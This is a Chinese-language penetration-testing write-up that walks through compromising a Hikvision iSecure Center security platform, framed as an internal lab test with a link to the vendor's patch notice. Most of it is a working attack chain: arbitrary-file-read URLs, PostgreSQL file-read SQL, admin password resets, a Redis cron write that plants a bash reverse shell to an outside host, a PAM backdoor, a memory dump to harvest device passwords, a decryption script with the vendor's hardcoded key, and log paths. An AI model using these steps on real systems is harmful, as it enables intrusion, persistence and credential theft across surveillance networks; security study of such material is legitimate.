此文档仍在撰写中...

温馨提示

本教程仅记录内网攻防测试,相关POC海康已发布https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/2024-02/,设备持有者及运维应当及时关注并更新

本次渗透测试主要目的为尽可能多的获取设备信息,获取设备、平台的完整控制权

本次渗透测试均在内网虚拟环境下渗透,相关工具及方法切莫用于非法途径

准备工具

本次攻防测试基于Windows平台,需要提前准备以下工具:

环境:

  • java

  • Python

工具:

其余工具或jsp可自备,原理大同小异

目的平台

综合安防管理平台:iSecure Center

教育综合安防管理平台:iSecure Center-Education

先在内网中找到上述平台,以便下步操作

海康isc平台主要端口及Url路径

55555ssh主端口

7001运管中心数据库(端口默认不开放)

7092应用数据库

7006日志数据库

7019Redis

http://ip/center/安防管理平台主页

http://ip:8001/center/运管中心

http://ip:9000minio(端口默认不开放)

http://ip:8068Consul by HashiCorp(端口默认不开放)

确认漏洞

利用MInggongK/Hikvision-: 海康威视综合漏洞利用工具(github)对目标平台进行检查

由于已经安装更新补丁,主机已不存在漏洞

漏洞分析及对应手段

Hikvision isecure center文件上传漏洞

利用MInggongK/Hikvision-: 海康威视综合漏洞利用工具(github)上传一句话木马即可获取shell(实测获取为root权限)

信息泄露漏洞

信息泄露漏洞包括

  • Hikvision综合安防管理平台config信息泄露漏洞
    https://ip/portal/conf/config.properties

  • 存在Hikvision综合安防管理平台env信息泄露漏洞
    https://ip/artemis-portal/artemis/env

  • Hikvision综合安防管理平台orgManage任意文件读取漏洞
    https://ip/center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../opt/hikvision/web/opsMgrCenter/conf/config.properties

  • Hikvision综合安防管理平台files任意文件读取漏洞
    https://ip/lm/api/files;.css?link=/opt/hikvision/web/opsMgrCenter/conf/config.properties

在最早版本的综合安防平台内,任意文件读取漏洞可以直接读取到/opt/hikvision/目录下的所有文件,在某个版本后仅能读取opt目录下的/components ./opsMgrAgent下的文件,且在利用漏洞时需要将hikvision首字母大写,实际利用结果为https://ip/lm/api/files;.css?link=/opt/hikvision/web/components/postgresql11linux64.1/conf/compact_backup.properties

不知道海康的相关技术是怎么改的代码,修复漏洞也不修复完全,猜测是临时封堵漏洞将所有含opsMgrCenter的目录禁止读取了

利用漏洞

由于主机在渗透后已安装补丁,本次渗透测试利用过程大致如下:

利用Hikvision综合安防管理平台files任意文件读取漏洞获取到PostgreSQL配置文件,由于无法获取到opsMgrCenter目录下运管中心的数据库,先拿应用数据库也是一样的https://ip/lm/api/files;.css?link=/opt/hikvision/web/components/postgresql11linux64.1/conf/compact_backup.properties

浏览器下载到config.properties用记事本打开其中rdbms.1.password就是数据库密码,可利用海康数据库解密工具附录-海康加解密源码进行解密

获取运行管理中心数据库秘钥

利用PostgreSQL任意文件读取获取配置文件

连接7092端口的数据库,利用解密出的密码进行连接并使用PSQL工具,本次方法1即可返回配置文件

方法1 pg_read_file

-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/opt/hikvision/web/opsMgrCenter/conf/config.properties');

-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/opt/hikvision/web/opsMgrCenter/conf/config.properties$$)

方法2

create table testf0x(t TEXT); copy testf0x from '/opt/hikvision/web/opsMgrCenter/conf/config.properties'; select * from testf0x limit 1 offset 0;

方法3 lo_import

Select lo_import('/opt/hikvision/web/opsMgrCenter/conf/config.properties',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

用工具解密opsmgr.database.password即可得到运管中心数据库密码

修改sysadmin用户密码/建立新用户

连接7001运管中心数据库(注意,如果Redis端口是开着,请按照附录-配置文件路径表直接读取Redis配置文件连接Redis)

opsmgr_db>center_user表中存放的是运管中心的账号密码,用工具生成新密码或修改原密码(记得备份)

登录后台管理系统

开放Redis端口

利用新生成的账号登录运管中心,在系统维护>参数配置>防火墙策略配置中开启Redis端口(或其他任意端口)

利用Redis反弹shell提权

读取并解密/opt/hikvision/web/components/redislinux64.1/conf/config.properties中的密码,连接Redis数据库

可利用现成工具进行反弹shell

或使用下列方法

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.63.131/7999 0>&1\n"
OK

192.168.63.130:6379> config set dir /var/spool/cron/
OK

192.168.63.130:6379> config set dbfilename root
OK

192.168.63.130:6379> save
OK

即可在远端获取shell

临时修改密码后直接ssh登录

拿到此方法拿到的shell后为了更加方便的使用shell和scp,需要对sshd进行修改

利用pam模块留下后门

Dump内存获取内网其余安防设备密码

根据运行管理中心内查询可知,综合安防平台与下级设备使用设备接入框架(dac)进行接入管理,设备密码在数据库中虽以密文存储,但在内存中是经过解密的,在shell中运行以下命令dump出设备接入框架(dac)的内存用于分析

DAS_PID=$(pgrep -f "/opt/hikvision/web/components/dac.1/bin/ldm/das" | head -n 1) && sudo gcore -o /tmp/.das_dumpfile $DAS_PID && sudo mv /tmp/.das_dumpfile.$DAS_PID /tmp/.das_dumpfile

防御建议

及时更新海康相关补丁https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/2024-02/

如非必要,关闭Redis、PostgreSQL等端口

附录

海康加解密源码

利用菜单1可生成:应用数据库中用户表的user_pwd salt 运管数据库中用户表的c_password c_salt

利用菜单2可解密配置文件中EQ开头的密钥

利用菜单3可上传EQ开头的密钥,适用与已经被攻击获取到密钥的情况下重新生成新密钥

菜单3无法通过海康数据库解密工具解密,请勿使用

import hashlib
import base64
import secrets
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# 固定密码(例如:'Abc123@&$++Hik45')
FIXED_PASSWORD = "Abc123@&$++Hik45"

# 1. 计算 SHA-256 哈希值
def get_sha256(password, salt):
    return hashlib.sha256((password + salt).encode('utf-8')).hexdigest()

# 2. 解密函数(Base64 -> 原始数据)
def decrypt_data(base64_string):
    try:
        # Base64 解码
        decoded_data = base64.b64decode(base64_string)

        if decoded_data[0] != 17:
            return None

        # 提取盐、IV 和加密数据
        salt, iv = decoded_data[4:20], decoded_data[20:36]
        data = decoded_data[36:]

        # 使用 PBKDF2 从密码派生 AES 密钥
        key = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=10000, backend=default_backend()).derive(FIXED_PASSWORD.encode('utf-8'))

        # 解密数据
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        decrypted_data = decryptor.update(data) + decryptor.finalize()

        # 去掉填充字符 (\x00)
        return decrypted_data.rstrip(b'\x00').decode('utf-8')
    
    except Exception as e:
        print(f"解密失败: {e}")
        return None

# 3. 加密函数(原始数据 -> Base64)
def encrypt_data(password, salt):
    try:
        # 派生 AES 密钥
        key = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=10000, backend=default_backend()).derive(FIXED_PASSWORD.encode('utf-8'))

        # 生成随机 IV
        iv = secrets.token_bytes(16)

        # 使用 AES 加密
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        padded_data = password.encode('utf-8') + b'\0' * (16 - len(password) % 16)  # 填充到16的倍数
        encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

        # 构建加密数据包(盐、IV、加密数据)
        size = len(encrypted_data)
        header = bytes([17]) + bytes([(size >> 8) & 0xff, size & 0xff]) + bytes([0])
        encrypted_packet = header + salt + iv + encrypted_data

        # 返回 Base64 编码
        return base64.b64encode(encrypted_packet).decode('utf-8')
    except Exception as e:
        print(f"加密失败: {e}")
        return None

# 4. 生成随机盐
def generate_random_salt():
    return secrets.token_bytes(16)  # 生成16字节的随机盐

# 5. 菜单函数
def show_menu():
    print("\n请选择操作:")
    print("1. 生成密码哈希")
    print("2. 解密数据")
    print("3. 加密数据")
    print("0. 退出")

def main():
    while True:
        show_menu()
        choice = input("请输入选项: ").strip()

        if choice == "1":
            password = input("请输入密码: ").strip()
            salt = generate_random_salt()
            print(f"盐值(salt|c_salt): {salt.hex()}")
            print(f"生成的 SHA-256 哈希(user_pwd|c_password): {get_sha256(password, salt.hex())}")
        
        elif choice == "2":
            base64_data = input("请输入 Base64 加密数据: ").strip()
            decrypted_data = decrypt_data(base64_data)
            print(f"解密后的数据: {decrypted_data if decrypted_data else '解密失败'}")
        
        elif choice == "3":
            password = input("请输入需要加密的数据: ").strip()
            salt = generate_random_salt()
            encrypted_data = encrypt_data(password, salt)
            print(f"加密后的 Base64 数据: {encrypted_data if encrypted_data else '加密失败'}")
        
        elif choice == "0":
            print("退出程序")
            break
        
        else:
            print("无效的选项,请重新选择")

if __name__ == "__main__":
    main()

配置文件路径表

路径

键名

功能

/opt/hikvision/web/opsMgrCenter/conf/config.properties

opsmgr.database.password

运管中心

数据库密码

/opt/hikvision/web/components/postgresql11linux64.1/conf/config.properties

rdbms.1.password

应用

数据库密码

/opt/hikvision/web/components/redislinux64.1/conf/config.properties

cache.1.password

Redis密码

/opt/hikvision/web/components/logservice.1/conf/config.properties

logdb.1.password

日志

数据库密码

/opt/hikvision/web/components/minio.1/conf/config.properties

minio.1.secretKey

minio密码

配置文件解密

  • ManageDB数据库 root密码获取 /opt/hikvision/web/components/mdblinux64.1/script/mdb/script/ManageDB 0 /opt/hikvision/web/components/mdblinux64.1/conf/sac.keys /opt/hikvision/web/components/mdblinux64.1/conf/sac_config.xml

数据库密码一般默认为whhik1234567890+ 不限制登录主机 新版本限制为localhost 需要修改权限

日志文件位置

文件类型日志储存位置

SSH相关日志

  • /var/log/history/hiksyslog目录下所有文件均为SSH链接相关日志,此日志不包含SCP协议,日志后缀为.operatingsystemrecord

日志格式如下(括号内为注释,日志内没有):

#1678255459(时间戳)
whoami(具体命令)
  • 对应用户文件夹内.bash_history文件 路径为/root/.bash_history /home/hik/.bash_history

logservice应用存储日志位置

海康安防平台相关文档